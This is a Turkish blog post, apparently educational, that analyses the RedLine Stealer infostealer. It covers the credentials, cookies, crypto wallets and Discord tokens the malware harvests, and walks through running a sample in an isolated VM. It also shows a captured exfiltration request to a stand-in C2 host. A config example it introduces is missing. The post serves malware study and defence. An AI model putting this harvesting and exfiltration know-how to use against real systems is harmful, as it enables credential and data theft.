**RedLine Stealer Nedir?**

Siber güvenlik dünyasında her zaman verilerimizi korumamız gerekir. Ama bazı kötü amaçlı yazılımlar, özellikle bilgisayarlarımızdaki şifreleri, çerezleri, tarayıcı verilerini ve hatta kripto cüzdan bilgilerini çalmak için tasarlanır. RedLine Stealer da tam olarak bu tür bir zararlı yazılımdır (malware).

RedLine, siber suçlular tarafından kullanılan ve bilgi çalma amacı taşıyan bir "stealer" yani bilgi toplayıcı yazılımdır. Özellikle Windows işletim sistemlerinde çalışır ve bulaştığı sistemde sessizce bilgi toplayarak uzaktaki bir sunucuya gönderir.

UYARI: RedLine gibi araçların test ve analizleri yalnızca yasal izin alınmış ortamlarda, eğitim ya da siber güvenlik testleri amacıyla yapılmalıdır. Gerçek sistemlere izinsiz olarak uygulanması suçtur.

**RedLine Ne İşe Yarar?**

RedLine Stealer, hedef sistemden şunları toplayabilir:

* **Tarayıcı şifreleri:** Chrome, Firefox gibi tarayıcılarda kayıtlı şifreler
* **Çerezler ve Oturum Verileri:** Web oturumları, sosyal medya giriş bilgileri
* **Kripto Cüzdanlar:** Masaüstü kripto cüzdan uygulamalarındaki bilgiler
* **Sistem Bilgileri:** İşletim sistemi türü, RAM, IP adresi, ülke bilgisi
* **VPN ve FTP Bilgileri:** VPN servislerine ait giriş bilgileri, FTP istemcileri
* **Discord Tokenleri** ve benzeri uygulama kimlik bilgileri

**RedLine Nasıl Kurulur?**

RedLine, genellikle siber saldırganlar tarafından bir panel (kontrol paneli) ile paketlenmiş şekilde satılır. Ancak biz burada zararsız ve kontrollü bir analiz ortamında, nasıl çalıştığını gözlemlemek amacıyla yükleyeceğiz.

Kurulum: **RedlineBuild.exe**

RedLine bazı örneklerde config.json veya settings.ini gibi yapılandırma dosyalarıyla birlikte gelir. Bu yapılandırma dosyasında hangi bilgilerin toplanacağı, hangi sunucuya gönderileceği gibi ayarlar vardır.

Bu durumda çalıştırmak için: **RedlineBuild.exe -config config.json**

config.json içinde ne tür şeyler olur?

  
Gerçek config dosyaları, saldırganın belirlediği ayarlara göre farklılaşır. Eğitim amaçlı örnek olarak verilmiştir.

**Kurulum İçin Uyarılar:**

* İzole bir sanal makine kullanın (örn: VirtualBox + Windows 10)
* İnternet bağlantısını kesin ya da sadece yerel bağlantı izni verin
* Wireshark, Procmon, Any.Run gibi analiz araçları kurulu olsun

**Örnek Kurulum Adımları:**

1. VirtualBox üzerinden temiz bir Windows 10 sanal makinesi oluşturun.
2. RedLine örneğini (örneğin .exe uzantılı) VM içine kopyalayın.
3. Procmon ve Wireshark’ı çalıştırarak süreci izlemeye başlayın.
4. RedLine .exe dosyasını çalıştırın.
5. İşlem sırasında ağ bağlantılarını, kayıt defteri erişimlerini ve dosya sistemini gözlemleyin.

**RedLine Ne Yapıyor? (Davranışsal Analiz)**

RedLine çalıştıktan sonra aşağıdaki gibi aktiviteler gerçekleştirir:

**Sistem Bilgisi Toplama:**

* IP adresi
* Kullanıcı adı
* Bilgisayar adı
* RAM miktarı
* Ekran kartı bilgisi

**Tarayıcı Verisi Çekme:**

Chrome / Edge / Brave gibi Chromium tabanlı tarayıcılardan:

* Kayıtlı şifreler
* Oturum çerezleri
* Ziyaret edilen URL’ler

**Kripto Cüzdan Tespiti:**

* Exodus, Electrum gibi cüzdan uygulamalarını arar
* Wallet dosyalarını dışarı aktarır

**Discord Token Avı:**

* Discord klasörlerinde depolanan oturum tokenlerini alır

**Sonuçların Gönderilmesi:**

Toplanan veriler genellikle şifrelenmiş bir şekilde bir sunucuya (C2) gönderilir.

**Wireshark ağı trafiği:**

POST /upload HTTP/1.1

Host: malicious-c2.xyz

Content-Length: 30481

Content-Type: application/octet-stream

User-Agent: RedLine

Yukarıdaki trafik RedLine’ın topladığı bilgileri uzaktaki bir kontrol sunucusuna gönderdiğini gösteriyor.

RedLine gibi araçlar **kötü amaçlı yazılımlar** sınıfına girer. Bu yazı yalnızca eğitim ve analiz amacıyla hazırlanmıştır. Aşağıdaki kurallara dikkat edilmelidir:

* İzinsiz sistemlerde test yapmak suçtur (TCK 243/244).
* Analiz çalışmaları sanal makine ortamında yapılmalıdır.
* Bu tür yazılımlarla ilgili çalışmalar yalnızca siber güvenlik laboratuvarlarında ve denetimli olarak gerçekleştirilmelidir.

RedLine Stealer, modern tehdit ortamında oldukça yaygın kullanılan bir veri çalma aracıdır. Siber güvenlik uzmanlarının bu tip yazılımları tanıması, nasıl çalıştığını gözlemlemesi ve önlem geliştirmesi önemlidir. Bu yazı ile RedLine’ın çalışma prensiplerini temel düzeyde öğrendik.